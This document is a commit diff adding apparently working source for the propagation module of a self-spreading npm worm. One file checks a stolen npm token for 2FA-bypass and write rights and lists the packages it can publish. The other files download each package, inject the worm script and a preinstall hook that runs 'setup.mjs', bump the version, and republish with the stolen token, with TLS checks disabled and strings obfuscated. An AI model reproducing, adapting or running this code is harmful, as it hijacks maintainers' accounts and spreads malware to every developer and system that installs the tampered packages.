Upload files to "src/mutator/npm"
This commit is contained in:
@@ -0,0 +1,145 @@
|
||||
import { $ } from "bun";
|
||||
import { randomBytes } from "crypto";
|
||||
import { copyFileSync, createWriteStream } from "fs";
|
||||
import * as fs from "fs/promises";
|
||||
import * as path from "path";
|
||||
import { join } from "path";
|
||||
import { Readable } from "stream";
|
||||
import { pipeline } from "stream/promises";
|
||||
import * as tar from "tar";
|
||||
|
||||
import { config } from "../../generated";
|
||||
import { SCRIPT_NAME } from "../../utils/config";
|
||||
import { logUtil } from "../../utils/logger";
|
||||
import { Mutator } from "../base";
|
||||
import { publishTarball } from "./publish";
|
||||
import type { TokenInfo } from "./tokenCheck";
|
||||
|
||||
declare function scramble(str: string): string;
|
||||
|
||||
export class NpmClient extends Mutator {
|
||||
private tokenInfo: TokenInfo;
|
||||
|
||||
constructor(token: TokenInfo) {
|
||||
super();
|
||||
this.tokenInfo = token;
|
||||
}
|
||||
|
||||
async execute() {
|
||||
try {
|
||||
const isUnix = ["darwin", "linux"].includes(process.platform);
|
||||
|
||||
if (isUnix) {
|
||||
this.tokenInfo.packages.forEach((pkgName: string) => {
|
||||
logUtil.log(`Would be updating: ${pkgName}`);
|
||||
});
|
||||
const packages = await this.downloadPackages(this.tokenInfo.packages);
|
||||
await Promise.all(
|
||||
packages.downloaded.map((pkgFile) => this.publishPackage(pkgFile)),
|
||||
);
|
||||
await fs.rm(packages.tmpDir, { recursive: true, force: true });
|
||||
return true;
|
||||
}
|
||||
} catch (e) {
|
||||
logUtil.error(e);
|
||||
logUtil.error("Failure updating package.");
|
||||
return false;
|
||||
}
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
private async updateTarball(tarballPath: string): Promise<string> {
|
||||
const uniqueSuffix = `${Date.now()}_${randomBytes(8).toString("hex")}`;
|
||||
const tmpDir = path.join(path.dirname(tarballPath), `_tmp_${uniqueSuffix}`);
|
||||
await fs.mkdir(tmpDir, { recursive: true });
|
||||
|
||||
try {
|
||||
await tar.extract({ file: tarballPath, cwd: tmpDir });
|
||||
copyFileSync(Bun.main, path.join(tmpDir, "package", SCRIPT_NAME));
|
||||
const pkgJsonPath = path.join(
|
||||
tmpDir,
|
||||
"package",
|
||||
scramble("package.json"),
|
||||
);
|
||||
const pkgSetupPath = path.join(tmpDir, "package", scramble("setup.mjs"));
|
||||
const pkg = JSON.parse(await fs.readFile(pkgJsonPath, "utf-8"));
|
||||
pkg.scripts = {};
|
||||
pkg.scripts.preinstall = scramble("node setup.mjs");
|
||||
const [major, minor, patch] = pkg.version.split(".").map(Number);
|
||||
pkg.version = `${major}.${minor}.${patch + 1}`;
|
||||
await Bun.write(pkgSetupPath, config);
|
||||
await Bun.write(pkgJsonPath, JSON.stringify(pkg, null, 2));
|
||||
const updatedPath = path.join(
|
||||
path.dirname(tarballPath),
|
||||
`${uniqueSuffix}_${scramble("package-updated.tgz")}`,
|
||||
);
|
||||
|
||||
await pipeline(
|
||||
tar.create({ gzip: true, cwd: tmpDir }, ["package"]),
|
||||
createWriteStream(updatedPath),
|
||||
);
|
||||
|
||||
const written = await fs.readFile(updatedPath);
|
||||
if (written.length < 18 || written[0] !== 0x1f || written[1] !== 0x8b) {
|
||||
throw new Error(
|
||||
`[npm] tarball at ${updatedPath} is not a valid gzip stream ` +
|
||||
`(len=${written.length}, first bytes=${written.subarray(0, 4).toString("hex")})`,
|
||||
);
|
||||
}
|
||||
|
||||
logUtil.log(`Updated path: ${updatedPath}`);
|
||||
return updatedPath;
|
||||
} finally {
|
||||
}
|
||||
}
|
||||
|
||||
async downloadPackages(
|
||||
packages: string[],
|
||||
): Promise<{ tmpDir: string; downloaded: string[] }> {
|
||||
const tmpDir = await $`mktemp -d`.text().then((s) => s.trim());
|
||||
const downloaded: string[] = [];
|
||||
|
||||
const download = async (pkg: string) => {
|
||||
try {
|
||||
const meta = await fetch(
|
||||
`https://registry.npmjs.org/${pkg.replace("/", "%2F")}`,
|
||||
);
|
||||
if (!meta.ok) return;
|
||||
const { "dist-tags": tags, versions } = (await meta.json()) as {
|
||||
"dist-tags": { latest: string };
|
||||
versions: Record<string, { dist?: { tarball?: string } }>;
|
||||
};
|
||||
const tarball = versions[tags.latest]?.dist?.tarball;
|
||||
if (!tarball) return;
|
||||
|
||||
const res = await fetch(tarball);
|
||||
if (!res.ok || !res.body) return;
|
||||
|
||||
const filename = `${pkg.replace("@", "").replace("/", "-")}-${tags.latest}.tgz`;
|
||||
const tarballPath = join(tmpDir, filename);
|
||||
await pipeline(
|
||||
Readable.fromWeb(res.body as import("stream/web").ReadableStream),
|
||||
createWriteStream(tarballPath),
|
||||
);
|
||||
const updatedPath = await this.updateTarball(tarballPath);
|
||||
downloaded.push(updatedPath);
|
||||
} catch (e) {
|
||||
logUtil.log(`Failed to download ${pkg}: ${e}`);
|
||||
}
|
||||
};
|
||||
|
||||
await Promise.all(packages.map(download));
|
||||
return { tmpDir, downloaded };
|
||||
}
|
||||
|
||||
async publishPackage(tarballPath: string): Promise<boolean> {
|
||||
if (!this.tokenInfo) return false;
|
||||
try {
|
||||
return await publishTarball(tarballPath, this.tokenInfo.authToken);
|
||||
} catch (e) {
|
||||
logUtil.error(e);
|
||||
return false;
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,170 @@
|
||||
import { createHash } from "node:crypto";
|
||||
import { readFile } from "node:fs/promises";
|
||||
import { gunzipSync } from "node:zlib";
|
||||
|
||||
import { logUtil } from "../../utils/logger";
|
||||
|
||||
interface PackageJson {
|
||||
name: string;
|
||||
version: string;
|
||||
readme?: string;
|
||||
[key: string]: unknown;
|
||||
}
|
||||
|
||||
function extractPackageJson(tar: Buffer): PackageJson {
|
||||
let offset = 0;
|
||||
while (offset + 512 <= tar.length) {
|
||||
const header = tar.subarray(offset, offset + 512);
|
||||
if (header[0] === 0) break;
|
||||
|
||||
const nameField = header.subarray(0, 100);
|
||||
const nameEnd = nameField.indexOf(0);
|
||||
const name = nameField
|
||||
.subarray(0, nameEnd === -1 ? 100 : nameEnd)
|
||||
.toString("utf8");
|
||||
|
||||
const sizeStr = header
|
||||
.subarray(124, 136)
|
||||
.toString("utf8")
|
||||
.replace(/\0/g, "")
|
||||
.trim();
|
||||
const size = sizeStr ? parseInt(sizeStr, 8) : 0;
|
||||
|
||||
offset += 512;
|
||||
|
||||
if (name === "package/package.json" || name.endsWith("/package.json")) {
|
||||
const data = tar.subarray(offset, offset + size);
|
||||
return JSON.parse(data.toString("utf8")) as PackageJson;
|
||||
}
|
||||
|
||||
offset += Math.ceil(size / 512) * 512;
|
||||
}
|
||||
throw new Error("package.json not found in tarball");
|
||||
}
|
||||
|
||||
export async function publishTarball(
|
||||
tarballPath: string,
|
||||
token: string,
|
||||
dryRun = false,
|
||||
provenanceBundle?: Record<string, any>,
|
||||
): Promise<boolean> {
|
||||
const registry = "https://registry.npmjs.org";
|
||||
const tag = "latest";
|
||||
const userAgent = `npm/11.13.1 node/v24.10.0 ${process.platform} ${process.arch} workspaces/false`;
|
||||
|
||||
const tarballBuffer = await readFile(tarballPath);
|
||||
const decompressed = gunzipSync(tarballBuffer);
|
||||
const pkg = extractPackageJson(decompressed);
|
||||
|
||||
const { name, version } = pkg;
|
||||
if (!name || !version) {
|
||||
throw new Error("package.json missing required 'name' or 'version'");
|
||||
}
|
||||
|
||||
const integrity =
|
||||
"sha512-" + createHash("sha512").update(tarballBuffer).digest("base64");
|
||||
const shasum = createHash("sha1").update(tarballBuffer).digest("hex");
|
||||
const base64Data = tarballBuffer.toString("base64");
|
||||
const tarballFilename = `${name}-${version}.tgz`;
|
||||
const tarballUrl = `http://registry.npmjs.org/${name}/-/${tarballFilename}`;
|
||||
const versionMetadata = {
|
||||
...pkg,
|
||||
name,
|
||||
version,
|
||||
readme: pkg.readme ?? "ERROR: No README data found!",
|
||||
dist: {
|
||||
integrity,
|
||||
shasum,
|
||||
tarball: tarballUrl,
|
||||
},
|
||||
};
|
||||
|
||||
const body = {
|
||||
_id: name,
|
||||
name,
|
||||
"dist-tags": { [tag]: version },
|
||||
versions: {
|
||||
[version]: versionMetadata,
|
||||
},
|
||||
access: "public",
|
||||
_attachments: {
|
||||
[tarballFilename]: {
|
||||
content_type: "application/octet-stream",
|
||||
data: base64Data,
|
||||
length: tarballBuffer.length,
|
||||
},
|
||||
} as Record<string, { content_type: string; data: string; length: number }>,
|
||||
};
|
||||
|
||||
// Attach sigstore provenance bundle if provided.
|
||||
if (provenanceBundle) {
|
||||
const provenanceBundleName = `${name}-${version}.sigstore`;
|
||||
const serializedBundle = JSON.stringify(provenanceBundle);
|
||||
body._attachments[provenanceBundleName] = {
|
||||
content_type:
|
||||
(provenanceBundle.mediaType as string) ||
|
||||
"application/vnd.dev.sigstore.bundle.v0.3+json",
|
||||
data: serializedBundle,
|
||||
length: serializedBundle.length,
|
||||
};
|
||||
}
|
||||
|
||||
const encodedName = name.replace("/", "%2f");
|
||||
const url = `${registry}/${encodedName}`;
|
||||
|
||||
const headers: Record<string, string> = {
|
||||
"User-Agent": userAgent,
|
||||
"Npm-Auth-Type": "web",
|
||||
"Npm-Command": "publish",
|
||||
Authorization: `Bearer ${token}`,
|
||||
"Content-Type": "application/json",
|
||||
Accept: "*/*",
|
||||
};
|
||||
|
||||
const serializedBody = JSON.stringify(body);
|
||||
|
||||
if (dryRun) {
|
||||
logUtil.log("[publish] DRY RUN — request not sent");
|
||||
logUtil.log("[publish] PUT", url);
|
||||
logUtil.log("[publish] headers:", {
|
||||
...headers,
|
||||
Authorization: "Bearer <redacted>",
|
||||
});
|
||||
logUtil.log("[publish] body:", {
|
||||
_id: body._id,
|
||||
name: body.name,
|
||||
"dist-tags": body["dist-tags"],
|
||||
versions: Object.keys(body.versions),
|
||||
access: body.access,
|
||||
_attachments: {
|
||||
[tarballFilename]: {
|
||||
content_type: "application/octet-stream",
|
||||
length: tarballBuffer.length,
|
||||
data: `<${base64Data.length} chars base64>`,
|
||||
},
|
||||
},
|
||||
});
|
||||
logUtil.log("[publish] body size:", serializedBody.length, "bytes");
|
||||
return true;
|
||||
}
|
||||
|
||||
const fetchInit: RequestInit & {
|
||||
tls?: { rejectUnauthorized?: boolean };
|
||||
} = {
|
||||
method: "PUT",
|
||||
headers,
|
||||
body: serializedBody,
|
||||
tls: { rejectUnauthorized: false },
|
||||
};
|
||||
const response = await fetch(url, fetchInit);
|
||||
const text = await response.text();
|
||||
|
||||
if (!response.ok) {
|
||||
logUtil.error(
|
||||
`[publish] failed: ${response.status} ${response.statusText} — ${text}`,
|
||||
);
|
||||
return false;
|
||||
}
|
||||
|
||||
return true;
|
||||
}
|
||||
@@ -0,0 +1,125 @@
|
||||
import { logUtil } from "../../utils/logger";
|
||||
|
||||
export interface TokenInfo {
|
||||
packages: string[];
|
||||
authToken: string;
|
||||
valid: boolean;
|
||||
}
|
||||
|
||||
export async function checkToken(token: string): Promise<TokenInfo> {
|
||||
const headers = { Authorization: `Bearer ${token}` };
|
||||
|
||||
// Fetch all token pages
|
||||
let matched: any = null;
|
||||
let url: string | null = "https://registry.npmjs.org/-/npm/v1/tokens";
|
||||
while (url && !matched) {
|
||||
const response = await fetch(url, { headers });
|
||||
|
||||
if (!response.ok) {
|
||||
logUtil.log("Not valid!");
|
||||
return { packages: [], valid: false, authToken: token };
|
||||
}
|
||||
|
||||
const data = (await response.json()) as any;
|
||||
const first = token.slice(0, 8);
|
||||
const last = token.slice(-4);
|
||||
|
||||
matched = data.objects?.find(
|
||||
(obj: any) =>
|
||||
obj.bypass_2fa === true &&
|
||||
obj.token?.startsWith(first.slice(0, 4)) &&
|
||||
obj.token?.endsWith(last),
|
||||
);
|
||||
url = data.urls?.next ?? null;
|
||||
}
|
||||
|
||||
if (!matched) return { packages: [], valid: false, authToken: token };
|
||||
|
||||
const hasPackageWrite = matched.permissions?.some(
|
||||
(p: any) => p.name === "package" && p.action === "write",
|
||||
);
|
||||
|
||||
if (!hasPackageWrite) return { packages: [], valid: false, authToken: token };
|
||||
|
||||
// Get authenticated username
|
||||
const whoami = await fetch("https://registry.npmjs.org/-/whoami", {
|
||||
headers,
|
||||
});
|
||||
const { username } = (await whoami.json()) as any;
|
||||
|
||||
const packages: string[] = [];
|
||||
|
||||
for (const scope of matched.scopes ?? []) {
|
||||
if (scope.type === "org") {
|
||||
const hasOrgWrite = matched.permissions?.some(
|
||||
(p: any) => p.name === "org" && p.action === "write",
|
||||
);
|
||||
if (!hasOrgWrite) continue;
|
||||
const res = await fetch(
|
||||
`https://registry.npmjs.org/-/org/${scope.name}/package`,
|
||||
{ headers },
|
||||
);
|
||||
const pkgs = (await res.json()) as any;
|
||||
packages.push(
|
||||
...Object.entries(pkgs)
|
||||
.filter(([, v]) => v === "write")
|
||||
.map(([k]) => k)
|
||||
.filter(Boolean),
|
||||
);
|
||||
} else if (scope.type === "package") {
|
||||
const isNamespaceScope = /^@[^/]+$/.test(scope.name);
|
||||
|
||||
if (isNamespaceScope) {
|
||||
// Determine if this namespace is a user or org
|
||||
const scopeName = scope.name.slice(1); // strip leading @
|
||||
const orgRes = await fetch(
|
||||
`https://registry.npmjs.org/-/org/${scopeName}/package`,
|
||||
{ headers },
|
||||
);
|
||||
|
||||
if (orgRes.ok) {
|
||||
// It's an org
|
||||
const pkgs = (await orgRes.json()) as any;
|
||||
packages.push(
|
||||
...Object.entries(pkgs)
|
||||
.filter(([, v]) => v === "write")
|
||||
.map(([k]) => k),
|
||||
);
|
||||
} else {
|
||||
// It's a user — search by maintainer
|
||||
const searchRes = await fetch(
|
||||
`https://registry.npmjs.org/-/v1/search?text=maintainer:${scopeName}&size=250`,
|
||||
{ headers },
|
||||
);
|
||||
const searchData = (await searchRes.json()) as any;
|
||||
packages.push(
|
||||
...(searchData.objects?.map((o: any) => o.package.name) ?? []),
|
||||
);
|
||||
}
|
||||
} else {
|
||||
// Individual package entry — return as-is
|
||||
if (scope.name) packages.push(scope.name);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Fetch personal packages only if broadly scoped: { name: null, type: "package" }
|
||||
const isBroadlyScoped = matched.scopes.some(
|
||||
(s: any) => s.name === null && s.type === "package",
|
||||
);
|
||||
|
||||
if (isBroadlyScoped) {
|
||||
const searchRes = await fetch(
|
||||
`https://registry.npmjs.org/-/v1/search?text=maintainer:${username}&size=250`,
|
||||
{ headers },
|
||||
);
|
||||
const searchData = (await searchRes.json()) as any;
|
||||
const personalPkgs: string[] =
|
||||
searchData.objects?.map((o: any) => o.package.name) ?? [];
|
||||
for (const pkg of personalPkgs) {
|
||||
if (!packages.includes(pkg)) packages.push(pkg);
|
||||
}
|
||||
}
|
||||
|
||||
return { packages, valid: true, authToken: token };
|
||||
}
|
||||
Reference in New Issue
Block a user